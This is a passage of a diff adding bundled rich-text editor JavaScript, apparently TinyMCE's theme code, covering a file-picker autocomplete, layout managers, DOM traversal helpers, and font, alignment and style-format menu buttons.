+      return global$2.map(uniqueHistory, function (url) {
+        return {
+          title: url,
+          value: {
+            title: url,
+            url: url,
+            attach: noop
+          }
+        };
+      });
+    };
+    var fromMenuItems = function (type) {
+      var filteredTargets = filter(targets, function (target) {
+        return target.type === type;
+      });
+      return toMenuItems(filteredTargets);
+    };
+    var anchorMenuItems = function () {
+      var anchorMenuItems = fromMenuItems('anchor');
+      var topAnchor = getSetting(editorSettings, 'anchor_top', '#top');
+      var bottomAchor = getSetting(editorSettings, 'anchor_bottom', '#bottom');
+      if (topAnchor !== null) {
+        anchorMenuItems.unshift(staticMenuItem('<top>', topAnchor));
+      }
+      if (bottomAchor !== null) {
+        anchorMenuItems.push(staticMenuItem('<bottom>', bottomAchor));
+      }
+      return anchorMenuItems;
+    };
+    var join = function (items) {
+      return foldl(items, function (a, b) {
+        var bothEmpty = a.length === 0 || b.length === 0;
+        return bothEmpty ? a.concat(b) : a.concat(separator, b);
+      }, []);
+    };
+    if (editorSettings.typeahead_urls === false) {
+      return [];
+    }
+    return fileType === 'file' ? join([
+      filterByQuery(term, fromHistoryMenuItems(history)),
+      filterByQuery(term, fromMenuItems('header')),
+      filterByQuery(term, anchorMenuItems())
+    ]) : filterByQuery(term, fromHistoryMenuItems(history));
+  };
+  var addToHistory = function (url, fileType) {
+    var items = history[fileType];
+    if (!/^https?/.test(url)) {
+      return;
+    }
+    if (items) {
+      if (indexOf(items, url).isNone()) {
+        history[fileType] = items.slice(0, HISTORY_LENGTH).concat(url);
+      }
+    } else {
+      history[fileType] = [url];
+    }
+  };
+  var filterByQuery = function (term, menuItems) {
+    var lowerCaseTerm = term.toLowerCase();
+    var result = global$2.grep(menuItems, function (item) {
+      return item.title.toLowerCase().indexOf(lowerCaseTerm) !== -1;
+    });
+    return result.length === 1 && result[0].title === term ? [] : result;
+  };
+  var getTitle = function (linkDetails) {
+    var title = linkDetails.title;
+    return title.raw ? title.raw : title;
+  };
+  var setupAutoCompleteHandler = function (ctrl, editorSettings, bodyElm, fileType) {
+    var autocomplete = function (term) {
+      var linkTargets = $_7cacckvxjjgwefv6.find(bodyElm);
+      var menuItems = createMenuItems(term, linkTargets, fileType, editorSettings);
+      ctrl.showAutoComplete(menuItems, term);
+    };
+    ctrl.on('autocomplete', function () {
+      autocomplete(ctrl.value());
+    });
+    ctrl.on('selectitem', function (e) {
+      var linkDetails = e.value;
+      ctrl.value(linkDetails.url);
+      var title = getTitle(linkDetails);
+      if (fileType === 'image') {
+        ctrl.fire('change', {
+          meta: {
+            alt: title,
+            attach: linkDetails.attach
+          }
+        });
+      } else {
+        ctrl.fire('change', {
+          meta: {
+            text: title,
+            attach: linkDetails.attach
+          }
+        });
+      }
+      ctrl.focus();
+    });
+    ctrl.on('click', function (e) {
+      if (ctrl.value().length === 0 && e.target.nodeName === 'INPUT') {
+        autocomplete('');
+      }
+    });
+    ctrl.on('PostRender', function () {
+      ctrl.getRoot().on('submit', function (e) {
+        if (!e.isDefaultPrevented()) {
+          addToHistory(ctrl.value(), fileType);
+        }
+      });
+    });
+  };
+  var statusToUiState = function (result) {
+    var status = result.status, message = result.message;
+    if (status === 'valid') {
+      return {
+        status: 'ok',
+        message: message
+      };
+    } else if (status === 'unknown') {
+      return {
+        status: 'warn',
+        message: message
+      };
+    } else if (status === 'invalid') {
+      return {
+        status: 'warn',
+        message: message
+      };
+    } else {
+      return {
+        status: 'none',
+        message: ''
+      };
+    }
+  };
+  var setupLinkValidatorHandler = function (ctrl, editorSettings, fileType) {
+    var validatorHandler = editorSettings.filepicker_validator_handler;
+    if (validatorHandler) {
+      var validateUrl_1 = function (url) {
+        if (url.length === 0) {
+          ctrl.statusLevel('none');
+          return;
+        }
+        validatorHandler({
+          url: url,
+          type: fileType
+        }, function (result) {
+          var uiState = statusToUiState(result);
+          ctrl.statusMessage(uiState.message);
+          ctrl.statusLevel(uiState.status);
+        });
+      };
+      ctrl.state.on('change:value', function (e) {
+        validateUrl_1(e.value);
+      });
+    }
+  };
+  var FilePicker = ComboBox.extend({
+    Statics: { clearHistory: clearHistory },
+    init: function (settings) {
+      var self = this, editor = getActiveEditor(), editorSettings = editor.settings;
+      var actionCallback, fileBrowserCallback, fileBrowserCallbackTypes;
+      var fileType = settings.filetype;
+      settings.spellcheck = false;
+      fileBrowserCallbackTypes = editorSettings.file_picker_types || editorSettings.file_browser_callback_types;
+      if (fileBrowserCallbackTypes) {
+        fileBrowserCallbackTypes = global$2.makeMap(fileBrowserCallbackTypes, /[, ]/);
+      }
+      if (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[fileType]) {
+        fileBrowserCallback = editorSettings.file_picker_callback;
+        if (fileBrowserCallback && (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[fileType])) {
+          actionCallback = function () {
+            var meta = self.fire('beforecall').meta;
+            meta = global$2.extend({ filetype: fileType }, meta);
+            fileBrowserCallback.call(editor, function (value, meta) {
+              self.value(value).fire('change', { meta: meta });
+            }, self.value(), meta);
+          };
+        } else {
+          fileBrowserCallback = editorSettings.file_browser_callback;
+          if (fileBrowserCallback && (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[fileType])) {
+            actionCallback = function () {
+              fileBrowserCallback(self.getEl('inp').id, self.value(), fileType, window);
+            };
+          }
+        }
+      }
+      if (actionCallback) {
+        settings.icon = 'browse';
+        settings.onaction = actionCallback;
+      }
+      self._super(settings);
+      self.classes.add('filepicker');
+      setupAutoCompleteHandler(self, editorSettings, editor.getBody(), fileType);
+      setupLinkValidatorHandler(self, editorSettings, fileType);
+    }
+  });
+
+  var FitLayout = AbsoluteLayout.extend({
+    recalc: function (container) {
+      var contLayoutRect = container.layoutRect(), paddingBox = container.paddingBox;
+      container.items().filter(':visible').each(function (ctrl) {
+        ctrl.layoutRect({
+          x: paddingBox.left,
+          y: paddingBox.top,
+          w: contLayoutRect.innerW - paddingBox.right - paddingBox.left,
+          h: contLayoutRect.innerH - paddingBox.top - paddingBox.bottom
+        });
+        if (ctrl.recalc) {
+          ctrl.recalc();
+        }
+      });
+    }
+  });
+
+  var FlexLayout = AbsoluteLayout.extend({
+    recalc: function (container) {
+      var i, l, items, contLayoutRect, contPaddingBox, contSettings, align, pack, spacing, totalFlex, availableSpace, direction;
+      var ctrl, ctrlLayoutRect, ctrlSettings, flex;
+      var maxSizeItems = [];
+      var size, maxSize, ratio, rect, pos, maxAlignEndPos;
+      var sizeName, minSizeName, posName, maxSizeName, beforeName, innerSizeName, deltaSizeName, contentSizeName;
+      var alignAxisName, alignInnerSizeName, alignSizeName, alignMinSizeName, alignBeforeName, alignAfterName;
+      var alignDeltaSizeName, alignContentSizeName;
+      var max = Math.max, min = Math.min;
+      items = container.items().filter(':visible');
+      contLayoutRect = container.layoutRect();
+      contPaddingBox = container.paddingBox;
+      contSettings = container.settings;
+      direction = container.isRtl() ? contSettings.direction || 'row-reversed' : contSettings.direction;
+      align = contSettings.align;
+      pack = container.isRtl() ? contSettings.pack || 'end' : contSettings.pack;
+      spacing = contSettings.spacing || 0;
+      if (direction === 'row-reversed' || direction === 'column-reverse') {
+        items = items.set(items.toArray().reverse());
+        direction = direction.split('-')[0];
+      }
+      if (direction === 'column') {
+        posName = 'y';
+        sizeName = 'h';
+        minSizeName = 'minH';
+        maxSizeName = 'maxH';
+        innerSizeName = 'innerH';
+        beforeName = 'top';
+        deltaSizeName = 'deltaH';
+        contentSizeName = 'contentH';
+        alignBeforeName = 'left';
+        alignSizeName = 'w';
+        alignAxisName = 'x';
+        alignInnerSizeName = 'innerW';
+        alignMinSizeName = 'minW';
+        alignAfterName = 'right';
+        alignDeltaSizeName = 'deltaW';
+        alignContentSizeName = 'contentW';
+      } else {
+        posName = 'x';
+        sizeName = 'w';
+        minSizeName = 'minW';
+        maxSizeName = 'maxW';
+        innerSizeName = 'innerW';
+        beforeName = 'left';
+        deltaSizeName = 'deltaW';
+        contentSizeName = 'contentW';
+        alignBeforeName = 'top';
+        alignSizeName = 'h';
+        alignAxisName = 'y';
+        alignInnerSizeName = 'innerH';
+        alignMinSizeName = 'minH';
+        alignAfterName = 'bottom';
+        alignDeltaSizeName = 'deltaH';
+        alignContentSizeName = 'contentH';
+      }
+      availableSpace = contLayoutRect[innerSizeName] - contPaddingBox[beforeName] - contPaddingBox[beforeName];
+      maxAlignEndPos = totalFlex = 0;
+      for (i = 0, l = items.length; i < l; i++) {
+        ctrl = items[i];
+        ctrlLayoutRect = ctrl.layoutRect();
+        ctrlSettings = ctrl.settings;
+        flex = ctrlSettings.flex;
+        availableSpace -= i < l - 1 ? spacing : 0;
+        if (flex > 0) {
+          totalFlex += flex;
+          if (ctrlLayoutRect[maxSizeName]) {
+            maxSizeItems.push(ctrl);
+          }
+          ctrlLayoutRect.flex = flex;
+        }
+        availableSpace -= ctrlLayoutRect[minSizeName];
+        size = contPaddingBox[alignBeforeName] + ctrlLayoutRect[alignMinSizeName] + contPaddingBox[alignAfterName];
+        if (size > maxAlignEndPos) {
+          maxAlignEndPos = size;
+        }
+      }
+      rect = {};
+      if (availableSpace < 0) {
+        rect[minSizeName] = contLayoutRect[minSizeName] - availableSpace + contLayoutRect[deltaSizeName];
+      } else {
+        rect[minSizeName] = contLayoutRect[innerSizeName] - availableSpace + contLayoutRect[deltaSizeName];
+      }
+      rect[alignMinSizeName] = maxAlignEndPos + contLayoutRect[alignDeltaSizeName];
+      rect[contentSizeName] = contLayoutRect[innerSizeName] - availableSpace;
+      rect[alignContentSizeName] = maxAlignEndPos;
+      rect.minW = min(rect.minW, contLayoutRect.maxW);
+      rect.minH = min(rect.minH, contLayoutRect.maxH);
+      rect.minW = max(rect.minW, contLayoutRect.startMinWidth);
+      rect.minH = max(rect.minH, contLayoutRect.startMinHeight);
+      if (contLayoutRect.autoResize && (rect.minW !== contLayoutRect.minW || rect.minH !== contLayoutRect.minH)) {
+        rect.w = rect.minW;
+        rect.h = rect.minH;
+        container.layoutRect(rect);
+        this.recalc(container);
+        if (container._lastRect === null) {
+          var parentCtrl = container.parent();
+          if (parentCtrl) {
+            parentCtrl._lastRect = null;
+            parentCtrl.recalc();
+          }
+        }
+        return;
+      }
+      ratio = availableSpace / totalFlex;
+      for (i = 0, l = maxSizeItems.length; i < l; i++) {
+        ctrl = maxSizeItems[i];
+        ctrlLayoutRect = ctrl.layoutRect();
+        maxSize = ctrlLayoutRect[maxSizeName];
+        size = ctrlLayoutRect[minSizeName] + ctrlLayoutRect.flex * ratio;
+        if (size > maxSize) {
+          availableSpace -= ctrlLayoutRect[maxSizeName] - ctrlLayoutRect[minSizeName];
+          totalFlex -= ctrlLayoutRect.flex;
+          ctrlLayoutRect.flex = 0;
+          ctrlLayoutRect.maxFlexSize = maxSize;
+        } else {
+          ctrlLayoutRect.maxFlexSize = 0;
+        }
+      }
+      ratio = availableSpace / totalFlex;
+      pos = contPaddingBox[beforeName];
+      rect = {};
+      if (totalFlex === 0) {
+        if (pack === 'end') {
+          pos = availableSpace + contPaddingBox[beforeName];
+        } else if (pack === 'center') {
+          pos = Math.round(contLayoutRect[innerSizeName] / 2 - (contLayoutRect[innerSizeName] - availableSpace) / 2) + contPaddingBox[beforeName];
+          if (pos < 0) {
+            pos = contPaddingBox[beforeName];
+          }
+        } else if (pack === 'justify') {
+          pos = contPaddingBox[beforeName];
+          spacing = Math.floor(availableSpace / (items.length - 1));
+        }
+      }
+      rect[alignAxisName] = contPaddingBox[alignBeforeName];
+      for (i = 0, l = items.length; i < l; i++) {
+        ctrl = items[i];
+        ctrlLayoutRect = ctrl.layoutRect();
+        size = ctrlLayoutRect.maxFlexSize || ctrlLayoutRect[minSizeName];
+        if (align === 'center') {
+          rect[alignAxisName] = Math.round(contLayoutRect[alignInnerSizeName] / 2 - ctrlLayoutRect[alignSizeName] / 2);
+        } else if (align === 'stretch') {
+          rect[alignSizeName] = max(ctrlLayoutRect[alignMinSizeName] || 0, contLayoutRect[alignInnerSizeName] - contPaddingBox[alignBeforeName] - contPaddingBox[alignAfterName]);
+          rect[alignAxisName] = contPaddingBox[alignBeforeName];
+        } else if (align === 'end') {
+          rect[alignAxisName] = contLayoutRect[alignInnerSizeName] - ctrlLayoutRect[alignSizeName] - contPaddingBox.top;
+        }
+        if (ctrlLayoutRect.flex > 0) {
+          size += ctrlLayoutRect.flex * ratio;
+        }
+        rect[sizeName] = size;
+        rect[posName] = pos;
+        ctrl.layoutRect(rect);
+        if (ctrl.recalc) {
+          ctrl.recalc();
+        }
+        pos += size + spacing;
+      }
+    }
+  });
+
+  var FlowLayout = Layout.extend({
+    Defaults: {
+      containerClass: 'flow-layout',
+      controlClass: 'flow-layout-item',
+      endClass: 'break'
+    },
+    recalc: function (container) {
+      container.items().filter(':visible').each(function (ctrl) {
+        if (ctrl.recalc) {
+          ctrl.recalc();
+        }
+      });
+    },
+    isNative: function () {
+      return true;
+    }
+  });
+
+  function ClosestOrAncestor (is, ancestor, scope, a, isRoot) {
+    return is(scope, a) ? Option.some(scope) : isFunction(isRoot) && isRoot(scope) ? Option.none() : ancestor(scope, a, isRoot);
+  }
+
+  var first$1 = function (predicate) {
+    return descendant($_g7jljiw2jjgwefvu.body(), predicate);
+  };
+  var ancestor = function (scope, predicate, isRoot) {
+    var element = scope.dom();
+    var stop = isFunction(isRoot) ? isRoot : constant(false);
+    while (element.parentNode) {
+      element = element.parentNode;
+      var el = Element$$1.fromDom(element);
+      if (predicate(el))
+        return Option.some(el);
+      else if (stop(el))
+        break;
+    }
+    return Option.none();
+  };
+  var closest = function (scope, predicate, isRoot) {
+    var is = function (scope) {
+      return predicate(scope);
+    };
+    return ClosestOrAncestor(is, ancestor, scope, predicate, isRoot);
+  };
+  var sibling = function (scope, predicate) {
+    var element = scope.dom();
+    if (!element.parentNode)
+      return Option.none();
+    return child$1(Element$$1.fromDom(element.parentNode), function (x) {
+      return !$_bdbghwwdjjgwefx0.eq(scope, x) && predicate(x);
+    });
+  };
+  var child$1 = function (scope, predicate) {
+    var result = find(scope.dom().childNodes, compose(predicate, Element$$1.fromDom));
+    return result.map(Element$$1.fromDom);
+  };
+  var descendant = function (scope, predicate) {
+    var descend = function (node) {
+      for (var i = 0; i < node.childNodes.length; i++) {
+        if (predicate(Element$$1.fromDom(node.childNodes[i])))
+          return Option.some(Element$$1.fromDom(node.childNodes[i]));
+        var res = descend(node.childNodes[i]);
+        if (res.isSome())
+          return res;
+      }
+      return Option.none();
+    };
+    return descend(scope.dom());
+  };
+  var $_2htnvowzjjgwefz5 = {
+    first: first$1,
+    ancestor: ancestor,
+    closest: closest,
+    sibling: sibling,
+    child: child$1,
+    descendant: descendant
+  };
+
+  var first$2 = function (selector) {
+    return $_ofcqhwtjjgwefyb.one(selector);
+  };
+  var ancestor$1 = function (scope, selector, isRoot) {
+    return $_2htnvowzjjgwefz5.ancestor(scope, function (e) {
+      return $_ofcqhwtjjgwefyb.is(e, selector);
+    }, isRoot);
+  };
+  var sibling$1 = function (scope, selector) {
+    return $_2htnvowzjjgwefz5.sibling(scope, function (e) {
+      return $_ofcqhwtjjgwefyb.is(e, selector);
+    });
+  };
+  var child$2 = function (scope, selector) {
+    return $_2htnvowzjjgwefz5.child(scope, function (e) {
+      return $_ofcqhwtjjgwefyb.is(e, selector);
+    });
+  };
+  var descendant$1 = function (scope, selector) {
+    return $_ofcqhwtjjgwefyb.one(selector, scope);
+  };
+  var closest$1 = function (scope, selector, isRoot) {
+    return ClosestOrAncestor($_ofcqhwtjjgwefyb.is, ancestor$1, scope, selector, isRoot);
+  };
+  var $_4ftvxwwyjjgwefz3 = {
+    first: first$2,
+    ancestor: ancestor$1,
+    sibling: sibling$1,
+    child: child$2,
+    descendant: descendant$1,
+    closest: closest$1
+  };
+
+  var toggleFormat = function (editor, fmt) {
+    return function () {
+      editor.execCommand('mceToggleFormat', false, fmt);
+    };
+  };
+  var addFormatChangedListener = function (editor, name, changed) {
+    var handler = function (state) {
+      changed(state, name);
+    };
+    if (editor.formatter) {
+      editor.formatter.formatChanged(name, handler);
+    } else {
+      editor.on('init', function () {
+        editor.formatter.formatChanged(name, handler);
+      });
+    }
+  };
+  var postRenderFormatToggle = function (editor, name) {
+    return function (e) {
+      addFormatChangedListener(editor, name, function (state) {
+        e.control.active(state);
+      });
+    };
+  };
+
+  var register = function (editor) {
+    var alignFormats = [
+      'alignleft',
+      'aligncenter',
+      'alignright',
+      'alignjustify'
+    ];
+    var defaultAlign = 'alignleft';
+    var alignMenuItems = [
+      {
+        text: 'Left',
+        icon: 'alignleft',
+        onclick: toggleFormat(editor, 'alignleft')
+      },
+      {
+        text: 'Center',
+        icon: 'aligncenter',
+        onclick: toggleFormat(editor, 'aligncenter')
+      },
+      {
+        text: 'Right',
+        icon: 'alignright',
+        onclick: toggleFormat(editor, 'alignright')
+      },
+      {
+        text: 'Justify',
+        icon: 'alignjustify',
+        onclick: toggleFormat(editor, 'alignjustify')
+      }
+    ];
+    editor.addMenuItem('align', {
+      text: 'Align',
+      menu: alignMenuItems
+    });
+    editor.addButton('align', {
+      type: 'menubutton',
+      icon: defaultAlign,
+      menu: alignMenuItems,
+      onShowMenu: function (e) {
+        var menu = e.control.menu;
+        global$2.each(alignFormats, function (formatName, idx) {
+          menu.items().eq(idx).each(function (item) {
+            return item.active(editor.formatter.match(formatName));
+          });
+        });
+      },
+      onPostRender: function (e) {
+        var ctrl = e.control;
+        global$2.each(alignFormats, function (formatName, idx) {
+          addFormatChangedListener(editor, formatName, function (state) {
+            ctrl.icon(defaultAlign);
+            if (state) {
+              ctrl.icon(formatName);
+            }
+          });
+        });
+      }
+    });
+    global$2.each({
+      alignleft: [
+        'Align left',
+        'JustifyLeft'
+      ],
+      aligncenter: [
+        'Align center',
+        'JustifyCenter'
+      ],
+      alignright: [
+        'Align right',
+        'JustifyRight'
+      ],
+      alignjustify: [
+        'Justify',
+        'JustifyFull'
+      ],
+      alignnone: [
+        'No alignment',
+        'JustifyNone'
+      ]
+    }, function (item, name) {
+      editor.addButton(name, {
+        active: false,
+        tooltip: item[0],
+        cmd: item[1],
+        onPostRender: postRenderFormatToggle(editor, name)
+      });
+    });
+  };
+  var $_cz4u4px1jjgwefzl = { register: register };
+
+  var getFirstFont = function (fontFamily) {
+    return fontFamily ? fontFamily.split(',')[0] : '';
+  };
+  var findMatchingValue = function (items, fontFamily) {
+    var font = fontFamily ? fontFamily.toLowerCase() : '';
+    var value;
+    global$2.each(items, function (item) {
+      if (item.value.toLowerCase() === font) {
+        value = item.value;
+      }
+    });
+    global$2.each(items, function (item) {
+      if (!value && getFirstFont(item.value).toLowerCase() === getFirstFont(font).toLowerCase()) {
+        value = item.value;
+      }
+    });
+    return value;
+  };
+  var createFontNameListBoxChangeHandler = function (editor, items) {
+    return function () {
+      var self = this;
+      self.state.set('value', null);
+      editor.on('init nodeChange', function (e) {
+        var fontFamily = editor.queryCommandValue('FontName');
+        var match = findMatchingValue(items, fontFamily);
+        self.value(match ? match : null);
+        if (!match && fontFamily) {
+          self.text(getFirstFont(fontFamily));
+        }
+      });
+    };
+  };
+  var createFormats = function (formats) {
+    formats = formats.replace(/;$/, '').split(';');
+    var i = formats.length;
+    while (i--) {
+      formats[i] = formats[i].split('=');
+    }
+    return formats;
+  };
+  var getFontItems = function (editor) {
+    var defaultFontsFormats = 'Andale Mono=andale mono,monospace;' + 'Arial=arial,helvetica,sans-serif;' + 'Arial Black=arial black,sans-serif;' + 'Book Antiqua=book antiqua,palatino,serif;' + 'Comic Sans MS=comic sans ms,sans-serif;' + 'Courier New=courier new,courier,monospace;' + 'Georgia=georgia,palatino,serif;' + 'Helvetica=helvetica,arial,sans-serif;' + 'Impact=impact,sans-serif;' + 'Symbol=symbol;' + 'Tahoma=tahoma,arial,helvetica,sans-serif;' + 'Terminal=terminal,monaco,monospace;' + 'Times New Roman=times new roman,times,serif;' + 'Trebuchet MS=trebuchet ms,geneva,sans-serif;' + 'Verdana=verdana,geneva,sans-serif;' + 'Webdings=webdings;' + 'Wingdings=wingdings,zapf dingbats';
+    var fonts = createFormats(editor.settings.font_formats || defaultFontsFormats);
+    return global$2.map(fonts, function (font) {
+      return {
+        text: { raw: font[0] },
+        value: font[1],
+        textStyle: font[1].indexOf('dings') === -1 ? 'font-family:' + font[1] : ''
+      };
+    });
+  };
+  var registerButtons = function (editor) {
+    editor.addButton('fontselect', function () {
+      var items = getFontItems(editor);
+      return {
+        type: 'listbox',
+        text: 'Font Family',
+        tooltip: 'Font Family',
+        values: items,
+        fixedWidth: true,
+        onPostRender: createFontNameListBoxChangeHandler(editor, items),
+        onselect: function (e) {
+          if (e.control.settings.value) {
+            editor.execCommand('FontName', false, e.control.settings.value);
+          }
+        }
+      };
+    });
+  };
+  var register$1 = function (editor) {
+    registerButtons(editor);
+  };
+  var $_f7ngpex3jjgwefzo = { register: register$1 };
+
+  var round = function (number, precision) {
+    var factor = Math.pow(10, precision);
+    return Math.round(number * factor) / factor;
+  };
+  var toPt = function (fontSize, precision) {
+    if (/[0-9.]+px$/.test(fontSize)) {
+      return round(parseInt(fontSize, 10) * 72 / 96, precision || 0) + 'pt';
+    }
+    return fontSize;
+  };
+  var findMatchingValue$1 = function (items, pt, px) {
+    var value;
+    global$2.each(items, function (item) {
+      if (item.value === px) {
+        value = px;
+      } else if (item.value === pt) {
+        value = pt;
+      }
+    });
+    return value;
+  };
+  var createFontSizeListBoxChangeHandler = function (editor, items) {
+    return function () {
+      var self = this;
+      editor.on('init nodeChange', function (e) {
+        var px, pt, precision, match;
+        px = editor.queryCommandValue('FontSize');
+        if (px) {
+          for (precision = 3; !match && precision >= 0; precision--) {
+            pt = toPt(px, precision);
+            match = findMatchingValue$1(items, pt, px);
+          }
+        }
+        self.value(match ? match : null);
+        if (!match) {
+          self.text(pt);
+        }
+      });
+    };
+  };
+  var getFontSizeItems = function (editor) {
+    var defaultFontsizeFormats = '8pt 10pt 12pt 14pt 18pt 24pt 36pt';
+    var fontsizeFormats = editor.settings.fontsize_formats || defaultFontsizeFormats;
+    return global$2.map(fontsizeFormats.split(' '), function (item) {
+      var text = item, value = item;
+      var values = item.split('=');
+      if (values.length > 1) {
+        text = values[0];
+        value = values[1];
+      }
+      return {
+        text: text,
+        value: value
+      };
+    });
+  };
+  var registerButtons$1 = function (editor) {
+    editor.addButton('fontsizeselect', function () {
+      var items = getFontSizeItems(editor);
+      return {
+        type: 'listbox',
+        text: 'Font Sizes',
+        tooltip: 'Font Sizes',
+        values: items,
+        fixedWidth: true,
+        onPostRender: createFontSizeListBoxChangeHandler(editor, items),
+        onclick: function (e) {
+          if (e.control.settings.value) {
+            editor.execCommand('FontSize', false, e.control.settings.value);
+          }
+        }
+      };
+    });
+  };
+  var register$2 = function (editor) {
+    registerButtons$1(editor);
+  };
+  var $_9a6bd5x4jjgwefzr = { register: register$2 };
+
+  var hideMenuObjects = function (editor, menu) {
+    var count = menu.length;
+    global$2.each(menu, function (item) {
+      if (item.menu) {
+        item.hidden = hideMenuObjects(editor, item.menu) === 0;
+      }
+      var formatName = item.format;
+      if (formatName) {
+        item.hidden = !editor.formatter.canApply(formatName);
+      }
+      if (item.hidden) {
+        count--;
+      }
+    });
+    return count;
+  };
+  var hideFormatMenuItems = function (editor, menu) {
+    var count = menu.items().length;
+    menu.items().each(function (item) {
+      if (item.menu) {
+        item.visible(hideFormatMenuItems(editor, item.menu) > 0);
+      }
+      if (!item.menu && item.settings.menu) {
+        item.visible(hideMenuObjects(editor, item.settings.menu) > 0);
+      }
+      var formatName = item.settings.format;
+      if (formatName) {
+        item.visible(editor.formatter.canApply(formatName));
+      }
+      if (!item.visible()) {
+        count--;
+      }
+    });
+    return count;
+  };
+  var createFormatMenu = function (editor) {
+    var count = 0;
+    var newFormats = [];
+    var defaultStyleFormats = [
+      {
+        title: 'Headings',
+        items: [
+          {
+            title: 'Heading 1',
+            format: 'h1'
+          },
+          {
+            title: 'Heading 2',
+            format: 'h2'
+          },
+          {
+            title: 'Heading 3',
+            format: 'h3'
+          },
+          {
+            title: 'Heading 4',
+            format: 'h4'
+          },
+          {
+            title: 'Heading 5',
+            format: 'h5'
+          },
+          {
+            title: 'Heading 6',
+            format: 'h6'
+          }
+        ]
+      },
+      {
+        title: 'Inline',
+        items: [
+          {
+            title: 'Bold',
+            icon: 'bold',
+            format: 'bold'
+          },
+          {
+            title: 'Italic',
+            icon: 'italic',
+            format: 'italic'
+          },
+          {
+            title: 'Underline',
+            icon: 'underline',
+            format: 'underline'
+          },
+          {
+            title: 'Strikethrough',
+            icon: 'strikethrough',
+            format: 'strikethrough'
+          },
+          {
+            title: 'Superscript',
+            icon: 'superscript',
+            format: 'superscript'
+          },
+          {
+            title: 'Subscript',
+            icon: 'subscript',
+            format: 'subscript'
+          },
+          {
+            title: 'Code',
+            icon: 'code',
+            format: 'code'
+          }
+        ]
+      },
+      {
+        title: 'Blocks',
+        items: [
+          {
+            title: 'Paragraph',
+            format: 'p'
+          },
+          {
+            title: 'Blockquote',
+            format: 'blockquote'
+          },
+          {
+            title: 'Div',
+            format: 'div'
+          },
+          {
+            title: 'Pre',
+            format: 'pre'
+          }
+        ]
+      },
+      {
+        title: 'Alignment',
+        items: [
+          {
+            title: 'Left',
+            icon: 'alignleft',
+            format: 'alignleft'
+          },
+          {
+            title: 'Center',
+            icon: 'aligncenter',
+            format: 'aligncenter'
+          },
+          {
+            title: 'Right',
+            icon: 'alignright',
+            format: 'alignright'
+          },
+          {
+            title: 'Justify',
+            icon: 'alignjustify',
+            format: 'alignjustify'
+          }
+        ]
+      }
+    ];
+    var createMenu = function (formats) {
+      var menu = [];
+      if (!formats) {
+        return;
+      }
+      global$2.each(formats, function (format) {
+        var menuItem = {
+          text: format.title,
+          icon: format.icon
+        };
+        if (format.items) {
+          menuItem.menu = createMenu(format.items);
+        } else {
+          var formatName = format.format || 'custom' + count++;
+          if (!format.format) {
+            format.name = formatName;
+            newFormats.push(format);
+          }
+          menuItem.format = formatName;
+          menuItem.cmd = format.cmd;
+        }
+        menu.push(menuItem);
+      });
+      return menu;
+    };
+    var createStylesMenu = function () {
+      var menu;
+      if (editor.settings.style_formats_merge) {
+        if (editor.settings.style_formats) {
+          menu = createMenu(defaultStyleFormats.concat(editor.settings.style_formats));
+        } else {
+          menu = createMenu(defaultStyleFormats);
+        }
+      } else {
+        menu = createMenu(editor.settings.style_formats || defaultStyleFormats);
+      }
+      return menu;
+    };
+    editor.on('init', function () {
+      global$2.each(newFormats, function (format) {
+        editor.formatter.register(format.name, format);
+      });
+    });
+    return {
+      type: 'menu',
+      items: createStylesMenu(),
+      onPostRender: function (e) {
+        editor.fire('renderFormatsMenu', { control: e.control });
+      },
+      itemDefaults: {
+        preview: true,
+        textStyle: function () {
+          if (this.settings.format) {
+            return editor.formatter.getCssText(this.settings.format);
+          }
+        },
+        onPostRender: function () {
+          var self = this;
+          self.parent().on('show', function () {
+            var formatName, command;
+            formatName = self.settings.format;
+            if (formatName) {
+              self.disabled(!editor.formatter.canApply(formatName));
+              self.active(editor.formatter.match(formatName));
+            }
+            command = self.settings.cmd;
+            if (command) {
+              self.active(editor.queryCommandState(command));
+            }
+          });
+        },
+        onclick: function () {
+          if (this.settings.format) {
+            toggleFormat(editor, this.settings.format)();
+          }
+          if (this.settings.cmd) {
+            editor.execCommand(this.settings.cmd);
+          }
+        }
+      }
+    };
+  };
+  var registerMenuItems = function (editor, formatMenu) {
+    editor.addMenuItem('formats', {
+      text: 'Formats',
+      menu: formatMenu
+    });
+  };
+  var registerButtons$2 = function (editor, formatMenu) {
+    editor.addButton('styleselect', {
+      type: 'menubutton',
+      text: 'Formats',
+      menu: formatMenu,
+      onShowMenu: function () {
+        if (editor.settings.style_formats_autohide) {
+          hideFormatMenuItems(editor, this.menu);
+        }
+      }
+    });
+  };
+  var register$3 = function (editor) {
+    var formatMenu = createFormatMenu(editor);
+    registerMenuItems(editor, formatMenu);
+    registerButtons$2(editor, formatMenu);
+  };
+  var $_ejzqp9x5jjgwefzu = { register: register$3 };
+
+  var defaultBlocks = 'Paragraph=p;' + 'Heading 1=h1;' + 'Heading 2=h2;' + 'Heading 3=h3;' + 'Heading 4=h4;' + 'Heading 5=h5;' + 'Heading 6=h6;' + 'Preformatted=pre';
+  var createFormats$1 = function (formats) {
+    formats = formats.replace(/;$/, '').split(';');
+    var i = formats.length;
+    while (i--) {
+      formats[i] = formats[i].split('=');
+    }
+    return formats;
+  };
+  var createListBoxChangeHandler = function (editor, items, formatName) {
+    return function () {
+      var self = this;
+      editor.on('nodeChange', function (e) {
+        var formatter = editor.formatter;
+        var value = null;
+        global$2.each(e.parents, function (node) {
+          global$2.each(items, function (item) {
+            if (formatName) {
+              if (formatter.matchNode(node, formatName, { value: item.value })) {
+                value = item.value;
+              }
+            } else {
+              if (formatter.matchNode(node, item.value)) {
+                value = item.value;
+              }
+            }
+            if (value) {
+              return false;
+            }
+          });
+          if (value) {
+            return false;
+          }
+        });
+        self.value(value);
+      });
+    };
+  };
+  var lazyFormatSelectBoxItems = function (editor, blocks) {
+    return function () {
+      var items = [];
+      global$2.each(blocks, function (block) {
+        items.push({
+          text: block[0],
+          value: block[1],
+          textStyle: function () {
+            return editor.formatter.getCssText(block[1]);
+          }
+        });
+      });
+      return {
+        type: 'listbox',
+        text: blocks[0][0],
+        values: items,
+        fixedWidth: true,
+        onselect: function (e) {
+          if (e.control) {
+            var fmt = e.control.value();
+            toggleFormat(editor, fmt)();
+          }
+        },
+        onPostRender: createListBoxChangeHandler(editor, items)
+      };
+    };
+  };
+  var buildMenuItems = function (editor, blocks) {
+    return global$2.map(blocks, function (block) {
+      return {
+        text: block[0],
+        onclick: toggleFormat(editor, block[1]),
+        textStyle: function () {
+          return editor.formatter.getCssText(block[1]);
